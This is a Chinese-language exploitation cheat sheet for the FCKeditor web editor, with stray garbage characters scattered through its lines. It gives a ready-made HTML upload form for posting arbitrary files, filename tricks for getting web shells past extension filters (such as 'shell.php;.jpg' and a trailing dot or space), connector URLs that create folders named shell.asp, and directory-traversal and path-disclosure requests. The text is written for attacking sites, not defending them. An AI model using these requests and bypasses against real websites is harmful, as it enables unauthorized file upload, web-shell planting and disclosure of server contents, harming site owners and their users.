|
Fckeditor漏洞利用总结 查看编辑器版本
4 M$ ^7 o$ y1 y* i4 w$ YFCKeditor/_whatsnew.html# `; T& T* Q3 J, O
————————————————————————————————————————————————————————————— 2. Version 2.2 版本( \1 ]7 |- H! L
Apache+linux 环境下在上传文件后面加个.突破!测试通过。9 _2 y7 W& o5 j
————————————————————————————————————————————————————————————— 3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。0 o. W2 `8 z+ X4 v6 a% G
<form id="frmUpload" enctype="multipart/form-data"& p$ C8 F6 w$ l1 R- X" D
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>( h. y! E; l L4 u4 P2 z
<input type="file" name="NewFile" size="50"><br>2 z. U% A, w" J: o; b; a% P/ M/ n
<input id="btnUpload" type="submit" value="Upload">
- c; `0 E- m4 n& {</form>( \; _- ~$ v6 Y: c) ^
————————————————————————————————————————————————————————————— 4.FCKeditor 文件上传“.”变“_”下划线的绕过方法$ q* p# [! F& Q7 K- k
很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
2 l4 k9 _2 r0 Y; e2 t$ E! [ 4.1:提交shell.php+空格绕过" F5 r5 G1 \7 W' _0 @5 U& d
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
: m/ Y6 ]5 \0 C4 z% w 4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
! g" K$ h/ D) M6 M8 G7 `8 \# I————————————————————————————————————————————————————————————— 5. 突破建立文件夹# L0 ]3 d( I, f; D3 f
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684/ |, Q3 p2 l: G+ f7 d1 Z
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
* M$ I5 H7 X: h4 ?0 l2 n) {( ]————————————————————————————————————————————————————————————— 6. FCKeditor 中test 文件的上传地址
8 |/ q7 y: p( [+ R2 q8 M% f0 H4 hFCKeditor/editor/filemanager/browser/default/connectors/test.html
" Z& u! A! K% b. |$ t' Y1 T+ P. A' HFCKeditor/editor/filemanager/upload/test.html2 h4 A+ O- f2 P& `
FCKeditor/editor/filemanager/connectors/test.html
+ x7 X) m; |; Q" Z& SFCKeditor/editor/filemanager/connectors/uploadtest.html
4 w# T+ f7 ]7 m/ \—————————————————————————————————————————————————————————————
) S' N3 V* X1 Q 7.常用上传地址$ g" _0 u- e7 o
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
' e! G1 o7 M, P" Q c, OFCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp' c" R. f! C( t% @. r' Z. V
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
9 r* G) t% j5 N2 d1 E$ U' E o$ l% s- YJSP 版:: m5 Q$ C" t+ \0 h' q- B3 H
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp* L& z7 p$ U. U7 S9 m2 j
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
, |7 h. }% \: D8 p, ^$ `2 Y件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。
6 {7 j, |8 r4 D————————————————————————————————————————————————————————————— 8.其他上传地址
( E& z& G0 U q9 rFCKeditor/_samples/default.html9 x7 p- f# ?& b+ a1 n3 q6 }$ u
FCKeditor/_samples/asp/sample01.asp7 a6 R6 i+ C! [; A7 t3 |0 D3 G
FCKeditor/_samples/asp/sample02.asp' m5 Q3 u5 \4 \# \5 f+ |: N0 S
FCKeditor/_samples/asp/sample03.asp+ Y, [5 g1 p5 q$ A! v* T
FCKeditor/_samples/asp/sample04.asp. K! y- P9 e0 \- t2 T* U( N2 L: b
一般很多站点都已删除_samples 目录,可以试试。6 u' i/ G2 r! w
FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。5 Z9 J- }) S# b8 F7 L! n( ?, D
————————————————————————————————————————————————————————————— 9.列目录漏洞也可助找上传地址$ Q; H/ M& h: B6 s6 v0 C
Version 2.4.1 测试通过" J# r J. K) M+ d e% F+ v1 j
修改CurrentFolder 参数使用 ../../来进入不同的目录
/ z; q% O* {5 R8 v! X: j6 ?/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
# }1 B5 n' A& m/ h9 ~根据返回的XML 信息可以查看网站所有的目录。. ^1 j. } W/ W9 x o0 z# [
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
5 H. r0 ~4 q) t) I% G Q也可以直接浏览盘符:! H' ?" N- V" r2 L0 P* {1 k1 g
JSP 版本:! [" F7 P; b/ J, S1 b
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F- w/ S: {- G5 V' ?! ]
————————————————————————————————————————————————————————————— 10.爆路径漏洞
/ s9 Y# U& C/ v! OFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp7 q! K/ J/ m) V- `: c
————————————————————————————————————————————————————————————— 11. FCKeditor 被动限制策略所导致的过滤不严问题
2 n6 ~4 u& X# l! L+ x V) a4 \ 影响版本: FCKeditor x.x <= FCKeditor v2.4.3) Y# R; }4 Q+ s) u0 M: p
脆弱描述:
+ ~- I0 Z+ m2 h/ }2 hFCKeditor v2.4.3 中File 类别默认拒绝上传类型:4 k, i5 C M' b$ S
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
4 A. ^2 T. @2 {" C' n$ {! O* B% fFckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
" y* g& Z2 Q$ s% u( X9 O% U* I 而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。 }. ^% X/ a" \# Y6 Q3 [" W: S
在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg! |